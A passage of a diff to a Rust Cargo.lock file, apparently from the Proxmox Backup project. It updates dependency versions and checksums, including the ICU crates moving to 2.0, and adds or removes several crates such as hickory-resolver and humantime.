+ "wasi 0.14.2+wasi-0.2.4",
 ]
 
 [[package]]
@@ -580,9 +684,9 @@ checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f"
 
 [[package]]
 name = "glob"
-version = "0.3.1"
+version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b"
+checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
 
 [[package]]
 name = "h2"
@@ -605,7 +709,7 @@ dependencies = [
 
 [[package]]
 name = "h2"
-version = "0.4.7"
+version = "0.4.10"
 dependencies = [
  "atomic-waker",
  "bytes",
@@ -646,15 +750,15 @@ dependencies = [
 
 [[package]]
 name = "hashbrown"
-version = "0.15.2"
+version = "0.15.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
+checksum = "84b26c544d002229e640969970a2e74021aadf6e2f96372b9c58eff97de08eb3"
 
 [[package]]
-name = "hermit-abi"
-version = "0.4.0"
+name = "heck"
+version = "0.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fbf6a919d6cf397374f7dfeeea91d974c7c0a7221d0d0f4f20d859d329e53fcc"
+checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
 
 [[package]]
 name = "hex"
@@ -666,23 +770,59 @@ dependencies = [
 ]
 
 [[package]]
-name = "home"
-version = "0.5.11"
+name = "hickory-proto"
+version = "0.24.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf"
+checksum = "92652067c9ce6f66ce53cc38d1169daa36e6e7eb7dd3b63b5103bd9d97117248"
 dependencies = [
- "windows-sys 0.59.0",
+ "async-trait",
+ "cfg-if",
+ "data-encoding",
+ "enum-as-inner",
+ "futures-channel",
+ "futures-io",
+ "futures-util",
+ "idna",
+ "ipnet",
+ "once_cell",
+ "rand",
+ "thiserror 1.0.69",
+ "tinyvec",
+ "tokio",
+ "tracing",
+ "url",
+]
+
+[[package]]
+name = "hickory-resolver"
+version = "0.24.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cbb117a1ca520e111743ab2f6688eddee69db4e0ea242545a604dce8a66fd22e"
+dependencies = [
+ "cfg-if",
+ "futures-util",
+ "hickory-proto",
+ "ipconfig",
+ "lru-cache",
+ "once_cell",
+ "parking_lot",
+ "rand",
+ "resolv-conf",
+ "smallvec",
+ "thiserror 1.0.69",
+ "tokio",
+ "tracing",
 ]
 
 [[package]]
 name = "hostname"
-version = "0.4.0"
+version = "0.4.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f9c7c7c8ac16c798734b8a24560c1362120597c40d5e1459f09498f8f6c8f2ba"
+checksum = "a56f203cd1c76362b69e3863fd987520ac36cf70a8c92627449b2f64a8cf7d65"
 dependencies = [
  "cfg-if",
  "libc",
- "windows",
+ "windows-link",
 ]
 
 [[package]]
@@ -709,9 +849,9 @@ dependencies = [
 
 [[package]]
 name = "httparse"
-version = "1.9.5"
+version = "1.10.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d71d3574edd2771538b901e6549113b4006ece66150fb69c0fb6d9a2adae946"
+checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87"
 
 [[package]]
 name = "httpdate"
@@ -719,12 +859,6 @@ version = "1.0.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
 
-[[package]]
-name = "humantime"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
-
 [[package]]
 name = "hyper"
 version = "0.14.32"
@@ -751,21 +885,22 @@ dependencies = [
 
 [[package]]
 name = "icu_collections"
-version = "1.5.0"
+version = "2.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db2fa452206ebee18c4b5c2274dbf1de17008e874b4dc4f0aea9d01ca79e4526"
+checksum = "200072f5d0e3614556f94a9930d5dc3e0662a652823904c3a75dc3b0af7fee47"
 dependencies = [
  "displaydoc",
+ "potential_utf",
  "yoke",
  "zerofrom",
  "zerovec",
 ]
 
 [[package]]
-name = "icu_locid"
-version = "1.5.0"
+name = "icu_locale_core"
+version = "2.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13acbb8371917fc971be86fc8057c41a64b521c184808a698c02acc242dbf637"
+checksum = "0cde2700ccaed3872079a65fb1a78f6c0a36c91570f28755dda67bc8f7d9f00a"
 dependencies = [
  "displaydoc",
  "litemap",
@@ -774,31 +909,11 @@ dependencies = [
  "zerovec",
 ]
 
-[[package]]
-name = "icu_locid_transform"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "01d11ac35de8e40fdeda00d9e1e9d92525f3f9d887cdd7aa81d727596788b54e"
-dependencies = [
- "displaydoc",
- "icu_locid",
- "icu_locid_transform_data",
- "icu_provider",
- "tinystr",
- "zerovec",
-]
-
-[[package]]
-name = "icu_locid_transform_data"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fdc8ff3388f852bede6b579ad4e978ab004f139284d7b28715f773507b946f6e"
-
 [[package]]
 name = "icu_normalizer"
-version = "1.5.0"
+version = "2.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19ce3e0da2ec68599d193c93d088142efd7f9c5d6fc9b803774855747dc6a84f"
+checksum = "436880e8e18df4d7bbc06d58432329d6458cc84531f7ac5f024e93deadb37979"
 dependencies = [
  "displaydoc",
  "icu_collections",
@@ -806,67 +921,54 @@ dependencies = [
  "icu_properties",
  "icu_provider",
  "smallvec",
- "utf16_iter",
- "utf8_iter",
- "write16",
  "zerovec",
 ]
 
 [[package]]
 name = "icu_normalizer_data"
-version = "1.5.0"
+version = "2.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8cafbf7aa791e9b22bec55a167906f9e1215fd475cd22adfcf660e03e989516"
+checksum = "00210d6893afc98edb752b664b8890f0ef174c8adbb8d0be9710fa66fbbf72d3"
 
 [[package]]
 name = "icu_properties"
-version = "1.5.1"
+version = "2.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93d6020766cfc6302c15dbbc9c8778c37e62c14427cb7f6e601d849e092aeef5"
+checksum = "016c619c1eeb94efb86809b015c58f479963de65bdb6253345c1a1276f22e32b"
 dependencies = [
  "displaydoc",
  "icu_collections",
- "icu_locid_transform",
+ "icu_locale_core",
  "icu_properties_data",
  "icu_provider",
- "tinystr",
+ "potential_utf",
+ "zerotrie",
  "zerovec",
 ]
 
 [[package]]
 name = "icu_properties_data"
-version = "1.5.0"
+version = "2.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "67a8effbc3dd3e4ba1afa8ad918d5684b8868b3b26500753effea8d2eed19569"
+checksum = "298459143998310acd25ffe6810ed544932242d3f07083eee1084d83a71bd632"
 
 [[package]]
 name = "icu_provider"
-version = "1.5.0"
+version = "2.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ed421c8a8ef78d3e2dbc98a973be2f3770cb42b606e3ab18d6237c4dfde68d9"
+checksum = "03c80da27b5f4187909049ee2d72f276f0d9f99a42c306bd0131ecfe04d8e5af"
 dependencies = [
  "displaydoc",
- "icu_locid",
- "icu_provider_macros",
+ "icu_locale_core",
  "stable_deref_trait",
  "tinystr",
  "writeable",
  "yoke",
  "zerofrom",
+ "zerotrie",
  "zerovec",
 ]
 
-[[package]]
-name = "icu_provider_macros"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ec89e9337638ecdc08744df490b221a7399bf8d164eb52a665454e60e075ad6"
-dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
-]
-
 [[package]]
 name = "idna"
 version = "1.0.3"
@@ -880,9 +982,9 @@ dependencies = [
 
 [[package]]
 name = "idna_adapter"
-version = "1.2.0"
+version = "1.2.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "daca1df1c957320b2cf139ac61e7bd64fed304c5040df000a745aa1de3b4ef71"
+checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344"
 dependencies = [
  "icu_normalizer",
  "icu_properties",
@@ -890,54 +992,92 @@ dependencies = [
 
 [[package]]
 name = "indexmap"
-version = "2.7.0"
+version = "2.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62f822373a4fe84d4bb149bf54e584a7f4abec90e072ed49cda0edea5b95471f"
+checksum = "cea70ddb795996207ad57735b50c5982d8844f38ba9ee5f1aedcfb708a2aa11e"
 dependencies = [
  "equivalent",
- "hashbrown 0.15.2",
+ "hashbrown 0.15.3",
 ]
 
 [[package]]
-name = "is-terminal"
-version = "0.4.13"
+name = "ipconfig"
+version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "261f68e344040fbd0edea105bef17c66edf46f984ddb1115b775ce31be948f4b"
+checksum = "b58db92f96b720de98181bbbe63c831e87005ab460c1bf306eb2622b4707997f"
 dependencies = [
- "hermit-abi",
- "libc",
- "windows-sys 0.52.0",
+ "socket2",
+ "widestring",
+ "windows-sys 0.48.0",
+ "winreg",
 ]
 
+[[package]]
+name = "ipnet"
+version = "2.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "469fb0b9cefa57e3ef31275ee7cacb78f2fdca44e4765491884a2b119d4eb130"
+
+[[package]]
+name = "is_terminal_polyfill"
+version = "1.70.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
+
 [[package]]
 name = "itertools"
-version = "0.12.1"
+version = "0.13.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569"
+checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186"
 dependencies = [
  "either",
 ]
 
 [[package]]
 name = "itoa"
-version = "1.0.14"
+version = "1.0.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d75a2a4b1b190afb6f5425f10f6a8f959d2ea0b9c2b1d79553551850539e4674"
+checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
+
+[[package]]
+name = "jiff"
+version = "0.2.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a194df1107f33c79f4f93d02c80798520551949d59dfad22b6157048a88cca93"
+dependencies = [
+ "jiff-static",
+ "log",
+ "portable-atomic",
+ "portable-atomic-util",
+ "serde",
+]
+
+[[package]]
+name = "jiff-static"
+version = "0.2.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6c6e1db7ed32c6c71b759497fae34bf7933636f75a251b9e736555da426f6442"
+dependencies = [
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
+]
 
 [[package]]
 name = "jobserver"
-version = "0.1.32"
+version = "0.1.33"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "48d1dbcbbeb6a7fec7e059840aa538bd62aaccf972c7346c4d9d2059312853d0"
+checksum = "38f262f097c174adebe41eb73d66ae9c06b2844fb0da69969647bbddd9b0538a"
 dependencies = [
+ "getrandom 0.3.3",
  "libc",
 ]
 
 [[package]]
 name = "js-sys"
-version = "0.3.76"
+version = "0.3.77"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6717b6b5b077764fb5966237269cb3c64edddde4b14ce42647430a78ced9e7b7"
+checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f"
 dependencies = [
  "once_cell",
  "wasm-bindgen",
@@ -949,17 +1089,11 @@ version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
 
-[[package]]
-name = "lazycell"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
-
 [[package]]
 name = "lettre"
-version = "0.11.11"
+version = "0.11.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab4c9a167ff73df98a5ecc07e8bf5ce90b583665da3d1762eb1f775ad4d0d6f5"
+checksum = "87ffd14fa289730e3ad68edefdc31f603d56fe716ec38f2076bb7410e09147c2"
 dependencies = [
  "base64 0.22.1",
  "chumsky",
@@ -972,7 +1106,7 @@ dependencies = [
  "idna",
  "mime",
  "native-tls",
- "nom",
+ "nom 8.0.0",
  "percent-encoding",
  "quoted_printable",
  "socket2",
@@ -982,18 +1116,18 @@ dependencies = [
 
 [[package]]
 name = "libc"
-version = "0.2.169"
+version = "0.2.172"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a"
+checksum = "d750af042f7ef4f724306de029d18836c26c1765a54a6a3f094cbd23a7267ffa"
 
 [[package]]
 name = "libloading"
-version = "0.8.6"
+version = "0.8.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc2f4eb4bc735547cfed7c0a4922cbd04a4655978c09b54f1f7b228750664c34"
+checksum = "07033963ba89ebaf1584d767badaa2e8fcec21aedea6b8c0346d487d49c28667"
 dependencies = [
  "cfg-if",
- "windows-targets 0.52.6",
+ "windows-targets 0.53.0",
 ]
 
 [[package]]
@@ -1002,7 +1136,7 @@ version = "0.1.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c0ff37bd590ca25063e35af745c343cb7a0271906fb7b37e4813e8f79f00268d"
 dependencies = [
- "bitflags 2.6.0",
+ "bitflags 2.9.1",
  "libc",
  "redox_syscall",
 ]
@@ -1018,22 +1152,53 @@ dependencies = [
 ]
 
 [[package]]
-name = "linux-raw-sys"
-version = "0.4.14"
+name = "linked-hash-map"
+version = "0.5.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89"
+checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f"
+
+[[package]]
+name = "linux-raw-sys"
+version = "0.4.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab"
+
+[[package]]
+name = "linux-raw-sys"
+version = "0.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12"
 
 [[package]]
 name = "litemap"
-version = "0.7.4"
+version = "0.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ee93343901ab17bd981295f2cf0026d4ad018c7c31ba84549a4ddbb47a45104"
+checksum = "241eaef5fd12c88705a01fc1066c48c4b36e0dd4377dcdc7ec3942cea7a69956"
+
+[[package]]
+name = "lock_api"
+version = "0.4.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "96936507f153605bddfcda068dd804796c84324ed2510809e5b2a624c81da765"
+dependencies = [
+ "autocfg",
+ "scopeguard",
+]
 
 [[package]]
 name = "log"
-version = "0.4.22"
+version = "0.4.27"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
+checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94"
+
+[[package]]
+name = "lru-cache"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "31e24f1ad8321ca0e8a1e0ac13f23cb668e6f5466c2c57319f6a5cf1cc8e3b1c"
+dependencies = [
+ "linked-hash-map",
+]
 
 [[package]]
 name = "memchr"
@@ -1073,29 +1238,29 @@ checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
 
 [[package]]
 name = "miniz_oxide"
-version = "0.8.2"
+version = "0.8.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ffbe83022cedc1d264172192511ae958937694cd57ce297164951b8b3568394"
+checksum = "3be647b768db090acb35d5ec5db2b0e1f1de11133ca123b9eacf5137868f892a"
 dependencies = [
  "adler2",
 ]
 
 [[package]]
 name = "mio"
-version = "1.0.3"
+version = "1.0.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2886843bf800fba2e3377cff24abf6379b4c4d5c6681eaf9ea5b0d15090450bd"
+checksum = "78bed444cc8a2160f01cbcf811ef18cac863ad68ae8ca62092e8db51d51c761c"
 dependencies = [
  "libc",
- "wasi",
- "windows-sys 0.52.0",
+ "wasi 0.11.0+wasi-snapshot-preview1",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
 name = "native-tls"
-version = "0.2.12"
+version = "0.2.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8614eb2c83d59d1c8cc974dd3f920198647674a0a035e1af1fa58707e317466"
+checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e"
 dependencies = [
  "libc",
  "log",
@@ -1153,6 +1318,15 @@ dependencies = [
  "minimal-lexical",
 ]
 
+[[package]]
+name = "nom"
+version = "8.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "df9761775871bdef83bee530e60050f7e54b1105350d6884eb0fb4f46c2f9405"
+dependencies = [
+ "memchr",
+]
+
 [[package]]
 name = "nu-ansi-term"
 version = "0.46.0"
@@ -1174,17 +1348,23 @@ dependencies = [
 
 [[package]]
 name = "once_cell"
-version = "1.20.2"
+version = "1.21.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
+
+[[package]]
+name = "once_cell_polyfill"
+version = "1.70.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a4895175b425cb1f87721b59f0f286c2092bd4af812243672510e1ac53e2e0ad"
 
 [[package]]
 name = "openssl"
-version = "0.10.68"
+version = "0.10.73"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6174bc48f102d208783c2c84bf931bb75927a617866870de8a4ea85597f871f5"
+checksum = "8505734d46c8ab1e19a1dce3aef597ad87dcb4c37e7188231769bd6bd51cebf8"
 dependencies = [
- "bitflags 2.6.0",
+ "bitflags 2.9.1",
  "cfg-if",
  "foreign-types",
  "libc",
@@ -1199,22 +1379,22 @@ version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
 name = "openssl-probe"
-version = "0.1.5"
+version = "0.1.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
+checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e"
 
 [[package]]
 name = "openssl-sys"
-version = "0.9.104"
+version = "0.9.109"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "45abf306cbf99debc8195b66b7346498d7b10c210de50418b5ccd7ceba08c741"
+checksum = "90096e2e47630d78b7d1c20952dc621f957103f8bc2c8359ec81290d75238571"
 dependencies = [
  "cc",
  "libc",
@@ -1228,6 +1408,29 @@ version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
 
+[[package]]
+name = "parking_lot"
+version = "0.12.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "70d58bf43669b5795d1576d0641cfb6fbb2057bf629506267a92807158584a13"
+dependencies = [
+ "lock_api",
+ "parking_lot_core",
+]
+
+[[package]]
+name = "parking_lot_core"
+version = "0.9.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bc838d2a56b5b1a6c25f55575dfc605fabb63bb2365f6c2353ef9159aa69e4a5"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "redox_syscall",
+ "smallvec",
+ "windows-targets 0.52.6",
+]
+
 [[package]]
 name = "pathpatterns"
 version = "0.3.0"
@@ -1238,7 +1441,7 @@ dependencies = [
 
 [[package]]
 name = "pbs-api-types"
-version = "0.1.0"
+version = "0.2.2"
 dependencies = [
  "anyhow",
  "const_format",
@@ -1259,19 +1462,19 @@ dependencies = [
 
 [[package]]
 name = "pbs-buildcfg"
-version = "3.3.2"
+version = "3.4.2"
 
 [[package]]
 name = "pbs-client"
 version = "0.1.0"
 dependencies = [
  "anyhow",
- "bitflags 2.6.0",
+ "bitflags 2.9.1",
  "bytes",
  "futures",
- "h2 0.4.7",
+ "h2 0.4.10",
  "hex",
- "http",
+ "hickory-resolver",
  "hyper",
  "libc",
  "nix 0.26.4",
@@ -1324,6 +1527,7 @@ dependencies = [
  "proxmox-shared-memory",
  "proxmox-sys",
  "proxmox-time",
+ "proxmox-uuid",
  "regex",
  "serde",
  "serde_json",
@@ -1335,6 +1539,7 @@ version = "0.1.0"
 dependencies = [
  "anyhow",
  "base64 0.13.1",
+ "const_format",
  "crc32fast",
  "endian_trait",
  "futures",
@@ -1356,10 +1561,12 @@ dependencies = [
  "proxmox-schema",
  "proxmox-serde",
  "proxmox-sys",
+ "proxmox-systemd",
  "proxmox-time",
  "proxmox-uuid",
  "proxmox-worker-task",
  "pxar",
+ "regex",
  "serde",
  "serde_json",
  "tokio",
@@ -1423,7 +1630,7 @@ name = "pbs-tape"
 version = "0.1.0"
 dependencies = [
  "anyhow",
- "bitflags 2.6.0",
+ "bitflags 2.9.1",
  "endian_trait",
  "hex",
  "libc",
@@ -1457,7 +1664,7 @@ dependencies = [
  "foreign-types",
  "hex",
  "libc",
- "nom",
+ "nom 7.1.3",
  "openssl",
  "proxmox-async",
  "proxmox-human-byte",
@@ -1476,20 +1683,20 @@ checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
 
 [[package]]
 name = "pest"
-version = "2.7.15"
+version = "2.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b7cafe60d6cf8e62e1b9b2ea516a089c008945bb5a275416789e7db0bc199dc"
+checksum = "198db74531d58c70a361c42201efde7e2591e976d518caf7662a47dc5720e7b6"
 dependencies = [
  "memchr",
- "thiserror 2.0.9",
+ "thiserror 2.0.12",
  "ucd-trie",
 ]
 
 [[package]]
 name = "pest_derive"
-version = "2.7.15"
+version = "2.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "816518421cfc6887a0d62bf441b6ffb4536fcc926395a69e1a85852d4363f57e"
+checksum = "d725d9cfd79e87dccc9341a2ef39d1b6f6353d68c4b33c177febbe1a402c97c5"
 dependencies = [
  "pest",
  "pest_generator",
@@ -1497,22 +1704,22 @@ dependencies = [
 
 [[package]]
 name = "pest_generator"
-version = "2.7.15"
+version = "2.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d1396fd3a870fc7838768d171b4616d5c91f6cc25e377b673d714567d99377b"
+checksum = "db7d01726be8ab66ab32f9df467ae8b1148906685bbe75c82d1e65d7f5b3f841"
 dependencies = [
  "pest",
  "pest_meta",
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
 name = "pest_meta"
-version = "2.7.15"
+version = "2.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e1e58089ea25d717bfd31fb534e4f3afcc2cc569c70de3e239778991ea3b7dea"
+checksum = "7f9f832470494906d1fca5329f8ab5791cc60beb230c74815dff541cbd2b5ca0"
 dependencies = [
  "once_cell",
  "pest",
@@ -1521,9 +1728,9 @@ dependencies = [
 
 [[package]]
 name = "pin-project-lite"
-version = "0.2.15"
+version = "0.2.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "915a1e146535de9163f3987b8944ed8cf49a18bb0056bcebcdcece385cece4ff"
+checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b"
 
 [[package]]
 name = "pin-utils"
@@ -1533,9 +1740,42 @@ checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
 
 [[package]]
 name = "pkg-config"
-version = "0.3.31"
+version = "0.3.32"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "953ec861398dccce10c670dfeaf3ec4911ca479e9c02154b3a215178c5f566f2"
+checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c"
+
+[[package]]
+name = "portable-atomic"
+version = "1.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e"
+
+[[package]]
+name = "portable-atomic-util"
+version = "0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d8a2f0d8d040d7848a709caf78912debcc3f33ee4b3cac47d73d1e1069e83507"
+dependencies = [
+ "portable-atomic",
+]
+
+[[package]]
+name = "potential_utf"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e5a7c30837279ca13e7c867e9e40053bc68740f988cb07f7ca6df43cc734b585"
+dependencies = [
+ "zerovec",
+]
+
+[[package]]
+name = "ppv-lite86"
+version = "0.2.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
+dependencies = [
+ "zerocopy",
+]
 
 [[package]]
 name = "proc-macro2"
@@ -1548,26 +1788,26 @@ dependencies = [
 
 [[package]]
 name = "proc-macro2"
-version = "1.0.92"
+version = "1.0.95"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "37d3544b3f2748c54e147655edb5025752e2303145b5aefb3c3ea2c78b973bb0"
+checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778"
 dependencies = [
  "unicode-ident",
 ]
 
 [[package]]
 name = "proxmox-api-macro"
-version = "1.2.1"
+version = "1.3.3"
 dependencies = [
  "anyhow",
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
 name = "proxmox-apt-api-types"
-version = "1.0.2"
+version = "1.0.3"
 dependencies = [
  "proxmox-config-digest",
  "proxmox-schema",
@@ -1589,7 +1829,7 @@ dependencies = [
 
 [[package]]
 name = "proxmox-auth-api"
-version = "0.4.6"
+version = "0.4.8"
 dependencies = [
  "anyhow",
  "const_format",
@@ -1601,7 +1841,7 @@ dependencies = [
 
 [[package]]
 name = "proxmox-backup"
-version = "3.3.2"
+version = "3.4.2"
 
 [[package]]
 name = "proxmox-backup-banner"
@@ -1676,7 +1916,7 @@ dependencies = [
 
 [[package]]
 name = "proxmox-config-digest"
-version = "0.1.0"
+version = "0.1.1"
 dependencies = [
  "anyhow",
  "hex",
@@ -1699,7 +1939,7 @@ dependencies = [
 
 [[package]]
 name = "proxmox-http"
-version = "0.9.4"
+version = "0.9.5"
 dependencies = [
  "anyhow",
  "base64 0.13.1",
@@ -1715,6 +1955,7 @@ dependencies = [
  "serde_json",
  "tokio",
  "tokio-openssl",
+ "tower-service",
  "ureq",
  "url",
 ]
@@ -1730,7 +1971,7 @@ dependencies = [
 
 [[package]]
 name = "proxmox-human-byte"
-version = "0.1.3"
+version = "0.1.4"
 dependencies = [
  "anyhow",
  "proxmox-schema",
@@ -1752,7 +1993,7 @@ version = "1.4.0"
 
 [[package]]
 name = "proxmox-log"
-version = "0.2.7"
+version = "0.2.9"
 dependencies = [
  "anyhow",
  "nix 0.26.4",
@@ -1767,7 +2008,7 @@ dependencies = [
 
 [[package]]
 name = "proxmox-notify"
-version = "0.5.1"
+version = "0.5.5"
 dependencies = [
  "anyhow",
  "base64 0.13.1",
@@ -1795,7 +2036,7 @@ dependencies = [
 
 [[package]]
 name = "proxmox-router"
-version = "3.0.0"
+version = "3.1.1"
 dependencies = [
  "anyhow",
  "env_logger",
@@ -1812,12 +2053,12 @@ dependencies = [
  "serde",
  "serde_json",
  "serde_plain",
- "unicode-width",
+ "unicode-width 0.1.14",
 ]
 
 [[package]]
 name = "proxmox-schema"
-version = "3.2.0"
+version = "4.0.0"
 dependencies = [
  "anyhow",
  "const_format",
@@ -1830,7 +2071,7 @@ dependencies = [
 
 [[package]]
